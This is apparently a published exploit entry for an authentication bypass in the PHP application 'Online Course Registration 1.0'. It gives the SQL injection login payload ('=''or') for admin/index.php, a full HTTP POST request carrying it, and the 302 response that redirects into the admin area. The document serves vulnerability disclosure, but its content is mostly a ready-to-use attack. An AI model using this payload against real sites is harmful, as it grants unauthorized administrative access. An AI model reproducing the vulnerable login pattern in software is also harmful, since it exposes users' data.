# Exploit Title: Online Course Registration 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-06-05
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com
# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : admin/index.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/Online%20Course%20Registration/admin/index.php
POST /Online%20Course%20Registration/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Referer: http://localhost/Online%20Course%20Registration/admin/index.php
Cookie: PHPSESSID=il6a0lzq8ndo1bb4672rd7cr3m
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=: undefined
HTTP/1.1 302 Found
Date: Thu, 04 Jun 2020 20:04:27 GMT
Server: Apache/2.4.39 (Win64) PHP/7.3.5
X-Powered-By: PHP/7.3.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: http://localhost/Online Course Registration/admin/change-password.php
